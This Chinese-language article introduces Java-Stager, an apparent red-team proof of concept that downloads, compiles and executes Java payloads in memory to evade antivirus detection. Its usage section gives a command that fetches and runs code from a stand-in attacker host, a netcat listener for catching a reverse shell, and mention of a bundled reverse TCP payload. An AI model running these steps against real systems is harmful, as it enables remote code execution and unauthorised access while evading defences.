今天给大家介绍的是一款名叫 Java-Stager 的工具, 在该工具的帮助下, 我们可以轻松地在内存中下载, 编译和执行 Java 文件(代码).
注意: 需要提醒大家一下, 该项目仅供研究及测试使用, 请不要将其用于恶意目的.
Java-Stager 介绍
本项目基于 James Williams 的演讲《下一代反病毒引擎 vs 我的垃圾代码》所开发, 感兴趣的同学可以观看他的演讲视频以获取更多的灵感:
视频地址:
看不到? 点 这里 https://v.qq.com/x/page/k070234mcao.html
演讲内容的关键点:
如何在目标设备中加载一个 Stager(需要使用合法代码触及目标磁盘);
Stager 通过 HTTP 下载源码(驻留在内存中);
Stager 编译源码(同样在内存中进行);
Stager 执行编译代码(同样在内存中进行);
不过他的研究主要基于的是. net, 不过我认为这种技术同样能够应用到 Java 中, 所以我就设计了这样一个 PoC 来验证上述技术的可行性.
如何使用?
克隆整个项目代码;
在能够使用 maven 的 IDE 编辑器 (例如 NetBeans) 中打开项目目录;
Stager 和样本 Payload 可以在项目目录的 "/src/main/java" 中找到;
选择你喜欢的 Stager, 然后编译项目代码, 我在默认配置中选择的是 "clean/build";
Netbeans 中的输出结果应该跟下面的代码类似:
Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
在目标主机中, 你需要上传 "JavaStageer*.jar" 文件以及包含了 Janino(从项目的 "target" 目录中获取)的 "lib" 文件夹. 下面的命令将会执行 stager:
java-jar JavaStager-0.1-initial.jar
下面这条命令可以给你提供相关文件的使用信息:
ProperUsage is: java -jar JavaStager-0.1-initial.jar <url>
其中的 "url" 是命令唯一需要的参数, 该参数将会传递给 Stager, 下面给出的是一个使用样例:
java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
你的 Payload 必须存储在一个名叫 "Payload.java" 的文件中, 你的漏洞利用代码必须写在名叫 "Run" 的静态方法内. 如果你想自己开发的话, 可以参考下面这个模版代码:
- publicclass Payload {
- public static void Run() {
- // Your code here
- }
- }
我在 "TCPReverseShell.java" 文件中还提供了一个可供参考的反向 TCP Payload, 为了防止命名冲突, 我就不将其取名为 "Payload.java" 了, 如果你想了解 "TCPReverseShell.java" 的详细工作机制并进行定制开发的话, 可以参考该文件 Header 中的注释内容.
除此之外, 你可能还需要在自己的 HTTP 服务器上托管你的 "Payload.java" 文件, 如果你只想使用简单的 HTTP/HTTPS 服务 (Python2 或 Python3) 的话, 我建议你用 Apache[ 参考资料 ] .
除此之外. 攻击端还需要启动一个 netcat 监听器并使用标准 nc -lvp 8044 技术来捕捉链接回调.
参考资料
Java-Stager 工作机制介绍:[ 传送门 ]
工具实际操作演示:[ 传送门 https://www.YouTube.com/watch?v=-KkJVdSHPAc ]
来源: http://www.tuicool.com/articles/iUjuqin